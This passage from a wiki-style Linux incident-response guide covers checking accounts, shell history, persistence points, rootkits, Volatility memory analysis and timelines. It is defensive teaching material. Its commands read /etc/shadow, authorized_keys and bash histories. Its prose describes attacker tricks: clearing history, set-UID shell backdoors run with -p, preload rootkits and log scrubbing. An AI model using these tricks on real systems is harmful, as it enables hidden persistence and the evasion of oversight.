sudo grep -E &amp;quot;sudo:|su\[|su:&amp;quot; /var/log/auth.log | grep -E &amp;quot;COMMAND=|session opened&amp;quot;   # who ran what as root&lt;br /&gt;
sudo grep -E &amp;quot;useradd|usermod|groupadd|passwd\[&amp;quot; /var/log/auth.log                     # account changes&lt;br /&gt;
awk -F: &#039;$3==0 {print $1}&#039; /etc/passwd            # accounts with UID 0 should be only &amp;quot;root&amp;quot;&lt;br /&gt;
sudo awk -F: &#039;$2==&amp;quot;&amp;quot; {print $1}&#039; /etc/shadow      # accounts with an empty password&lt;br /&gt;
grep -vE &#039;(nologin|false)$&#039; /etc/passwd           # accounts that can log in interactively&lt;br /&gt;
ls -l /etc/sudoers.d/; sudo grep -rvE &#039;^\s*(#|$)&#039; /etc/sudoers /etc/sudoers.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A second UID-0 account, or a regular user suddenly present in &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;, is a strong indicator. Attackers who want to blend in often reuse existing accounts rather than create obvious new ones, so also check that service accounts (such as &amp;lt;code&amp;gt;www-data&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;mysql&amp;lt;/code&amp;gt;) still have a non-login shell and no usable password hash in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;, and that nobody has been quietly added to a privileged group in &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Command history ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo sh -c &#039;ls -l /root/.bash_history /home/*/.bash_history&#039;   # empty? a symlink to /dev/null? recently truncated?&lt;br /&gt;
sudo sh -c &#039;cat /root/.bash_history /home/*/.bash_history&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
What to keep in mind about &amp;lt;code&amp;gt;.bash_history&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
* Bash writes history when a shell exits, so a session that is still open, or that was killed, may not be recorded yet. On a live system the missing commands are only in memory (see the &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; plugin in [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).&lt;br /&gt;
* It has &#039;&#039;&#039;no timestamps&#039;&#039;&#039; by default (unless &amp;lt;code&amp;gt;HISTTIMEFORMAT&amp;lt;/code&amp;gt; was set). To date a command, match it with other evidence:a log line, a file&#039;s timestamp, or a process start time. For example, a &amp;lt;code&amp;gt;useradd&amp;lt;/code&amp;gt; in the history can be tied to the log entry for the new account and the modification time of &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;.&lt;br /&gt;
* It is a plain text file. Attackers can edit or delete it, clear it (&amp;lt;code&amp;gt;history -c&amp;lt;/code&amp;gt;), unset &amp;lt;code&amp;gt;HISTFILE&amp;lt;/code&amp;gt;, or link it to &amp;lt;code&amp;gt;/dev/null&amp;lt;/code&amp;gt;. Older copies sometimes survive in the disk&#039;s unallocated space, so searching a disk image for typical command strings can recover deleted history.&lt;br /&gt;
* An &#039;&#039;empty or missing&#039;&#039; history on an account that is otherwise active is itself worth noting.&lt;br /&gt;
&lt;br /&gt;
=== Other traces users leave behind ===&lt;br /&gt;
&lt;br /&gt;
Interactive use of a Linux system leaves small traces in the user&#039;s home directory. Individually minor, they often fill in the story:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! File (in the user&#039;s home directory) !! What it can show&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/authorized_keys&amp;lt;/code&amp;gt; || Keys that can log in &#039;&#039;to&#039;&#039; this account. Any key you do not recognize is a possible back door.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/known_hosts&amp;lt;/code&amp;gt; || Machines this user connected &#039;&#039;out to&#039;&#039; over SSH. It shows an SSH connection was made, not that the login succeeded. Entries can be hashed, hiding the addresses.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/config&amp;lt;/code&amp;gt; || Shortcuts, user names and jump hosts the user set up, which can reveal other systems they reach.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.lesshst&amp;lt;/code&amp;gt; || Search terms typed into the &amp;lt;code&amp;gt;less&amp;lt;/code&amp;gt; pager, and commands run from inside it.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.viminfo&amp;lt;/code&amp;gt; || Files recently edited in &amp;lt;code&amp;gt;vim&amp;lt;/code&amp;gt; (with the position in each), plus its search and command history.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.local/share/recently-used.xbel&amp;lt;/code&amp;gt; || Files opened through the desktop file manager, with timestamps (only on systems with a desktop).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.local/share/Trash/&amp;lt;/code&amp;gt; || Files deleted through the desktop; the &amp;lt;code&amp;gt;info/&amp;lt;/code&amp;gt; folder records where each came from.&lt;br /&gt;
|-&lt;br /&gt;
| Browser profiles (Firefox, Chromium) || Browsing, downloads and saved sessions on desktop systems.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== The audit framework ===&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;code&amp;gt;auditd&amp;lt;/code&amp;gt; is installed and configured, it is the best source for &amp;quot;who ran what.&amp;quot; For example, with a rule that watches account files:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# in /etc/audit/rules.d/identity.rules&lt;br /&gt;
-w /etc/passwd -p wa -k identity&lt;br /&gt;
-w /etc/shadow -p wa -k identity&lt;br /&gt;
&lt;br /&gt;
# later, when investigating&lt;br /&gt;
sudo ausearch -k identity -i         # events that matched the rule, human-readable&lt;br /&gt;
sudo aureport -au                    # authentication summary&lt;br /&gt;
&lt;br /&gt;
# the same tools can read logs copied off a machine or mounted from an image&lt;br /&gt;
sudo ausearch --if /mnt/data/var/log/audit -i -c useradd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If keystroke (TTY) auditing was enabled, &amp;lt;code&amp;gt;aureport --tty&amp;lt;/code&amp;gt; can show what was typed. Auditing has to be set up &#039;&#039;before&#039;&#039; the incident; it cannot reconstruct events that were never recorded.&lt;br /&gt;
&lt;br /&gt;
== Step 4: Persistence ==&lt;br /&gt;
&lt;br /&gt;
Attackers who got in once want to be able to get back in. Some do not bother (opportunistic cryptocurrency miners are sometimes dropped with no persistence at all), but many do. Check every place a program can be made to start again on its own:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# scheduled tasks&lt;br /&gt;
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily&lt;br /&gt;
sudo ls -la /var/spool/cron/crontabs/          # /var/spool/cron/ on RHEL family&lt;br /&gt;
sudo ls -la /var/spool/cron/atjobs/ 2&amp;gt;/dev/null   # one-time &amp;quot;at&amp;quot; jobs (Debian/Ubuntu)&lt;br /&gt;
systemctl list-timers --all&lt;br /&gt;
&lt;br /&gt;
# services and units&lt;br /&gt;
systemctl list-unit-files --state=enabled&lt;br /&gt;
sudo find /etc/systemd /usr/lib/systemd -type f -newermt &amp;quot;2026-09-01&amp;quot;&lt;br /&gt;
ls -la ~/.config/systemd/user 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# SSH keys (any key listed here can log in as that user with no password)&lt;br /&gt;
sudo find / -xdev -name authorized_keys -exec ls -l {} \;&lt;br /&gt;
sudo sh -c &#039;cat /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys&#039; 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# shell start-up files that run at every login&lt;br /&gt;
ls -la /etc/profile.d/ ~/.bashrc ~/.profile /root/.bashrc&lt;br /&gt;
&lt;br /&gt;
# programs injected into every process (normally this file is absent or empty)&lt;br /&gt;
cat /etc/ld.so.preload 2&amp;gt;/dev/null&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Older systems use init scripts under &amp;lt;code&amp;gt;/etc/init*&amp;lt;/code&amp;gt; instead of (or as well as) systemd. And remember that an attacker who wants to be less obvious may leave the cron entry or service unit alone and instead modify a &#039;&#039;&#039;script that a legitimate task already runs&#039;&#039;&#039;. Look at what your scheduled tasks and services actually execute, not only at their configuration.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Back doors beyond start-up entries:&#039;&#039;&#039; a web shell in the web root; a replacement &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt; with a built-in password; an extra UID 0 account; a service account given a password; an added &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt; line; a broadened &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt; entry; and the set-UID trick below.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Set-UID/set-GID programs.&#039;&#039;&#039; A program with the set-UID bit runs with its &#039;&#039;owner&#039;s&#039;&#039; privileges rather than the user&#039;s (this is how &amp;lt;code&amp;gt;passwd&amp;lt;/code&amp;gt; can update &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;). An attacker with root can copy a shell, turn on the set-UID bit and leave it somewhere quiet; anyone who can run it (with &amp;lt;code&amp;gt;-p&amp;lt;/code&amp;gt;, so it does not drop its privileges) is root again.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# set-UID / set-GID programs anywhere outside /usr (there should be very few)&lt;br /&gt;
sudo find / \( -path /proc -o -path /sys \) -prune -o -type f \( -perm -4000 -o -perm -2000 \) ! -path &#039;/usr/*&#039; -ls 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# the full list of set-UID programs&lt;br /&gt;
sudo find / -xdev -perm -4000 -type f 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Compare the full list against a clean machine of the same OS, the same baseline-and-&amp;lt;code&amp;gt;diff&amp;lt;/code&amp;gt; technique used on [[Intermediate Service Auditing]]. Also revisit [[#Where attackers stage files|where attackers stage files]]: names that imitate system files but sit in the wrong place, executables in &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;, and dot-prefixed directories under &amp;lt;code&amp;gt;/usr&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev&amp;lt;/code&amp;gt; are all worth a closer look.&lt;br /&gt;
&lt;br /&gt;
=== A post-exploitation checklist ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Check !! How&lt;br /&gt;
|-&lt;br /&gt;
| New or unexpected SSH keys || Read every &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt;. If you find one, search your other machines for the same key.&lt;br /&gt;
|-&lt;br /&gt;
| Unexpected group members || Compare &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt; against what you expect, especially groups named in &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| Unlocked service accounts || Service accounts should have &amp;lt;code&amp;gt;nologin&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;) as their shell and no valid password hash in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| Extra UID 0 accounts || &amp;lt;code&amp;gt;awk -F: &#039;$3==0&#039; /etc/passwd&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Edited sudo rules || Read &amp;lt;code&amp;gt;/etc/sudoers&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/etc/sudoers.d/&amp;lt;/code&amp;gt; directly.&lt;br /&gt;
|-&lt;br /&gt;
| Unauthorized set-UID bits || The &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt; commands above.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Step 5: Rootkits and tampering ==&lt;br /&gt;
&lt;br /&gt;
A &#039;&#039;&#039;rootkit&#039;&#039;&#039; is malware built to hide itself and the attacker&#039;s other activity. Two kinds are common on Linux:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;User-space (library preload) rootkits&#039;&#039;&#039; install a malicious shared library and make every program load it (through &amp;lt;code&amp;gt;/etc/ld.so.preload&amp;lt;/code&amp;gt; or the &amp;lt;code&amp;gt;LD_PRELOAD&amp;lt;/code&amp;gt; variable), so that &amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt; and friends quietly leave out the attacker&#039;s files, processes and connections. Older rootkits simply replaced those programs.&lt;br /&gt;
* &#039;&#039;&#039;Kernel-module (LKM) rootkits&#039;&#039;&#039; load a malicious kernel module that intercepts system calls (for example the ones that list directories or send signals) and can hide from the operating system itself. Older families such as t0rn hid their files in look-alike, dot-prefixed directories (for example under &amp;lt;code&amp;gt;/usr/src&amp;lt;/code&amp;gt;) and included a helper that scrubbed matching lines from log files, but the ideas are the same today.&lt;br /&gt;
&lt;br /&gt;
=== Signs something is being hidden ===&lt;br /&gt;
&lt;br /&gt;
* Basic tools misbehave, disagree with each other, or stop working (&amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt; failing on an otherwise healthy system).&lt;br /&gt;
* A listening port shows in a port scan from another machine but not in &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt; on the host.&lt;br /&gt;
* Disk usage that does not add up, or CPU usage with no process to explain it.&lt;br /&gt;
* Logs with unexplained gaps, zero-length files (&amp;lt;code&amp;gt;/var/log/wtmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt;) or timestamps that jump backwards.&lt;br /&gt;
* A &amp;quot;tainted&amp;quot; kernel: &amp;lt;code&amp;gt;cat /proc/sys/kernel/tainted&amp;lt;/code&amp;gt; is non-zero. Legitimate causes exist (proprietary or out-of-tree drivers), so treat it as a reason to ask &amp;quot;which module?&amp;quot;,  it is not necessarily a verdict.&lt;br /&gt;
&lt;br /&gt;
=== Detection tools ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt install rkhunter chkrootkit       # or dnf install on RHEL-family (EPEL)&lt;br /&gt;
sudo rkhunter --check --sk --rwo           # run all checks; skip keypress prompts; report warnings only&lt;br /&gt;
sudo chkrootkit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;chkrootkit&amp;lt;/code&amp;gt; compare the system against known signatures and known-bad file locations and look for suspicious changes. Findings are logged (for rkhunter, in &amp;lt;code&amp;gt;/var/log/rkhunter.log&amp;lt;/code&amp;gt;). They are a quick extra check, however they are not the main method. Treat their output as leads from which to begin searches:&lt;br /&gt;
&lt;br /&gt;
* They are &#039;&#039;&#039;signature-based&#039;&#039;&#039;: they recognize rootkits they already know about, so a clean report says little about new or custom tools (false negatives), and a warning does not prove a rootkit (false positives). &amp;lt;code&amp;gt;chkrootkit&amp;lt;/code&amp;gt; in particular sees little development, and many investigators no longer rely on it.&lt;br /&gt;
* They run &#039;&#039;on&#039;&#039; the suspect system. Against a kernel-level rootkit, the tool is being lied to as well. Where it matters, examine the disk from trusted boot media or a copy of the disk image, and analyze memory from outside the machine (see [[#Going deeper: memory analysis with Volatility 3|Volatility]]).&lt;br /&gt;
* &amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; is much more useful if you run &amp;lt;code&amp;gt;sudo rkhunter --propupd&amp;lt;/code&amp;gt; on a known-clean system first, so later runs can detect changed files.&lt;br /&gt;
&lt;br /&gt;
=== Verify installed files against the package manager ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt install debsums &amp;amp;&amp;amp; sudo debsums -c      # Debian/Ubuntu: list installed files whose checksum changed&lt;br /&gt;
sudo rpm -Va                                      # RHEL family: verify all packages&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A modified &amp;lt;code&amp;gt;/bin/ls&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/usr/bin/ps&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt; that does not match its package is a serious finding. (Configuration files legitimately differ, and a determined attacker can also tamper with the package database, so this is one more piece of evidence, not proof.)&lt;br /&gt;
&lt;br /&gt;
=== Cross-checking tools against each other ===&lt;br /&gt;
&lt;br /&gt;
Because a rootkit typically fools some tools but not others, disagreement is informative:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo /usr/src/.*                  # the shell&#039;s own glob expansion; does it show entries ls hides?&lt;br /&gt;
ls /proc | grep -E &#039;^[0-9]+$&#039; | wc -l ; ps -e --no-headers | wc -l     # process count via /proc vs via ps&lt;br /&gt;
sudo apt install unhide &amp;amp;&amp;amp; sudo unhide proc                             # look for processes hidden from ps&lt;br /&gt;
lsmod                                                                     # compare to a known-good machine&#039;s module list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A statically linked tool (such as &amp;lt;code&amp;gt;busybox&amp;lt;/code&amp;gt;, if installed) does not load shared libraries, so it is not fooled by a library-preload rootkit. Kernel-module rootkits are much harder to catch from inside the running system, which is why memory analysis is the stronger method.&lt;br /&gt;
&lt;br /&gt;
=== Log tampering ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ls -la /var/log                    # any log suddenly tiny, empty, or not modified when it should be?&lt;br /&gt;
journalctl --verify                # consistency check of the journal files&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The best defense is a copy of the logs the attacker cannot reach: forward them to a remote log server (for example with &amp;lt;code&amp;gt;rsyslog&amp;lt;/code&amp;gt;) so that deleting local lines does not delete the record.&lt;br /&gt;
&lt;br /&gt;
== Going deeper: memory analysis with Volatility 3 ==&lt;br /&gt;
&lt;br /&gt;
Why bother with memory? It is smaller than the disk (64 GB of RAM is far easier to collect and store than 2 TB of disk) and holds things a disk image does not: every running process (including hidden ones), network connections, the shell history of open sessions, loaded kernel modules, cached file contents, and sometimes encryption keys.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/volatilityfoundation/volatility3 Volatility 3] is the standard open-source framework for analyzing memory images. Its Linux support has one big obstacle.&lt;br /&gt;
&lt;br /&gt;
=== The symbols problem ===&lt;br /&gt;
&lt;br /&gt;
Volatility must know how the exact kernel that produced the image lays out its data in memory. That description is called a &amp;quot;symbol table&amp;quot; (or profile). Windows and macOS have few kernel versions, so ready-made ones exist. Linux has thousands of combinations (each distribution, each kernel update, each vendor&#039;s build options), and you may need a different symbol file for every machine in an investigation.&lt;br /&gt;
&lt;br /&gt;
Making one requires the kernel built &#039;&#039;&#039;with debugging symbols&#039;&#039;&#039;: a &amp;quot;debug&amp;quot; kernel package for the exact version (named with &amp;lt;code&amp;gt;-dbg&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;-dbgsym&amp;lt;/code&amp;gt; depending on the distribution), which is large (gigabytes) and not always available (some distributions do not publish them, and end-of-life systems may have lost them). The Volatility documentation itself states that it may not be possible to find the right symbols for a Linux image. A community-maintained collection of ready-made symbol files exists (see the [https://volatility3.readthedocs.io/en/latest/symbol-tables.html symbol tables documentation]), so check it before building your own.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. What kernel was running? (a banner is stored in memory)&lt;br /&gt;
vol -f memory.lime banners.Banners&lt;br /&gt;
strings -a memory.lime | grep PRETTY_NAME=            # the distribution name, too&lt;br /&gt;
&lt;br /&gt;
# 2. If you have the matching debug kernel (a large &amp;quot;vmlinux&amp;quot; file, hundreds of MB; a normal one is under ~10 MB)&lt;br /&gt;
sudo find / -name &#039;vmlinu*&#039; -size +100M 2&amp;gt;/dev/null&lt;br /&gt;
file /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64      # look for &amp;quot;with debug_info, not stripped&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# 3. Convert it into a symbol file and place it where Volatility looks&lt;br /&gt;
dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64 &amp;gt; vmlinux-5.10.0-21-amd64.json&lt;br /&gt;
cp vmlinux-5.10.0-21-amd64.json /path/to/volatility3/symbols/linux/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the debug kernel is present on the machine you are analyzing, you are very lucky. The command name (&amp;lt;code&amp;gt;vol&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;vol.py&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;vol3.py&amp;lt;/code&amp;gt;) depends on how it was installed, and you can keep symbol files with the image by pointing Volatility at the current directory with &amp;lt;code&amp;gt;-s .&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== The plugins you will use most ===&lt;br /&gt;
&lt;br /&gt;
Plugin names and output change between versions. List the current ones with &amp;lt;code&amp;gt;vol --help | grep linux.&amp;lt;/code&amp;gt;. A good first test is &amp;lt;code&amp;gt;linux.pslist.PsList&amp;lt;/code&amp;gt;: it is fast, and if it produces sensible output your image and symbols are working.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Plugin !! What it answers&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.pslist.PsList&amp;lt;/code&amp;gt; || What processes exist (PID, parent PID, name)?&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.psaux.PsAux&amp;lt;/code&amp;gt; || The same, with each process&#039;s full command line.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.pstree.PsTree&amp;lt;/code&amp;gt; || The parent/child tree, useful for &amp;quot;how was this started?&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.lsof.Lsof&amp;lt;/code&amp;gt; || Which files does a process have open (add &amp;lt;code&amp;gt;--pid&amp;lt;/code&amp;gt; to pick one)? Reveals executables and data in strange places.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.elfs.Elfs&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;linux.proc.Maps&amp;lt;/code&amp;gt; || Which executable and libraries a process loaded, and its memory segments (where injected code can appear).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.sockstat.Sockstat&amp;lt;/code&amp;gt; || Network connections and listeners (filter with &amp;lt;code&amp;gt;grep AF_INET&amp;lt;/code&amp;gt; to skip the noisy local sockets).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.bash.Bash&amp;lt;/code&amp;gt; || Command history recovered from running shells, &#039;&#039;with timestamps&#039;&#039;.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.lsmod.Lsmod&amp;lt;/code&amp;gt; || Loaded kernel modules (the ones that are not hidden).&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; plugin is often more valuable than the history file on disk, for two reasons: history in memory includes the current session&#039;s commands that have not been saved yet, and each command has a timestamp. When a shell starts, it loads the saved history, so the first block of lines all share the shell&#039;s start time; the lines after them, with different times, are what was typed in that session.&lt;br /&gt;
&lt;br /&gt;
=== Hunting for rootkits in memory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vol -s . -f memory.lime linux.check_modules.Check_modules    # kernel modules hidden from the normal module lists&lt;br /&gt;
vol -s . -f memory.lime linux.check_syscall.Check_syscall    # system calls whose handlers have been replaced (hooks)&lt;br /&gt;
vol -s . -f memory.lime linux.check_creds.Check_creds        # processes sharing credentials, a sign of credential tampering&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Check_modules&amp;lt;/code&amp;gt; compares the several lists the kernel keeps of loaded modules and reports modules missing from some of them, the fingerprint of a module hiding itself. Expect the occasional false positive (for example a legitimate virtualization driver), so investigate everything. A rootkit that does not hide, instead using an ordinary name, is caught by comparing &amp;lt;code&amp;gt;Lsmod&amp;lt;/code&amp;gt; output with a known-good machine.&lt;br /&gt;
* &amp;lt;code&amp;gt;Check_syscall&amp;lt;/code&amp;gt; shows the system-call table. Depending on the version, it may not flag hooked entries directly, so a practical trick is to run it on a memory image from a clean machine of the same kernel and compare the two lists: anything present in one but not the other stands out. In one published example (a memory image infected with a known Linux rootkit), the entries that differed were for listing directories (which lets a rootkit hide files, and, because Linux exposes processes as files under &amp;lt;code&amp;gt;/proc&amp;lt;/code&amp;gt;, hide processes too) and for sending signals.&lt;br /&gt;
* Other plugins (for example &amp;lt;code&amp;gt;Check_afinfo&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Check_idt&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Keyboard_notifiers&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Tty_check&amp;lt;/code&amp;gt;) look for network-structure tampering and keylogger techniques.&lt;br /&gt;
&lt;br /&gt;
After that use YARA rules built from indicators you already have (the &amp;lt;code&amp;gt;YaraScan&amp;lt;/code&amp;gt; plugin, or YARA directly), look at the &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; history for the commands used to install the rootkit, and search the image with &amp;lt;code&amp;gt;strings&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== No symbol file? Quick triage instead ===&lt;br /&gt;
&lt;br /&gt;
Even without Volatility working, a memory image can be mined. &amp;lt;code&amp;gt;strings&amp;lt;/code&amp;gt; pulls out readable text, and [https://github.com/simsong/bulk_extractor bulk_extractor] finds and tallies URLs, addresses, e-mail addresses and domains, and extracts any network packets it finds.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
strings -a memory.lime | gzip &amp;gt; memory.strings.gz    # keep for context searches&lt;br /&gt;
bulk_extractor -o be-out memory.lime                 # the output folder must not already exist&lt;br /&gt;
&lt;br /&gt;
head be-out/url_histogram.txt                         # start with the histograms: common URLs, IPs, domains&lt;br /&gt;
head be-out/ip_histogram.txt&lt;br /&gt;
&lt;br /&gt;
# who was talking to whom, from packet fragments bulk_extractor recovered&lt;br /&gt;
tshark -n -r be-out/packets.pcap -Tfields -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport | sort | uniq -c | sort -nr | head&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Look for what does not belong: a strange URL, an address you do not recognize appearing many times in a row (like g00gle.com). Then search the saved strings around that item (&amp;lt;code&amp;gt;zgrep -F -C3 suspicious.example memory.strings.gz&amp;lt;/code&amp;gt;) for context.&lt;br /&gt;
&lt;br /&gt;
== Step 6: Building a timeline ==&lt;br /&gt;
&lt;br /&gt;
Investigations get clear once events are in one ordered list. A &#039;&#039;&#039;timeline&#039;&#039;&#039; combines file timestamps (and, with more effort, log entries) into a single chronological view, so you can see the attacker moving through the system. It is one of the fastest ways to find intrusion artifacts.&lt;br /&gt;
&lt;br /&gt;
=== Quick version ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# every file changed on 10 Sep, oldest first: change time, modify time, owner, path&lt;br /&gt;
sudo find / -xdev -type f -newermt &#039;2026-09-10 00:00&#039; ! -newermt &#039;2026-09-11 00:00&#039; \&lt;br /&gt;
     -printf &#039;%C+ %T+ %u %p\n&#039; | sort&lt;br /&gt;
&lt;br /&gt;
stat /var/tmp/.cache/update        # shows access, modify, change (and, on many filesystems, birth) times&lt;br /&gt;
&lt;br /&gt;
# files changed after a file you already know the attacker touched&lt;br /&gt;
sudo find / -xdev -newer /etc/passwd -type f -ls 2&amp;gt;/dev/null&lt;br /&gt;
ls -lArt /etc                      # a directory sorted by modification time, oldest first&lt;br /&gt;
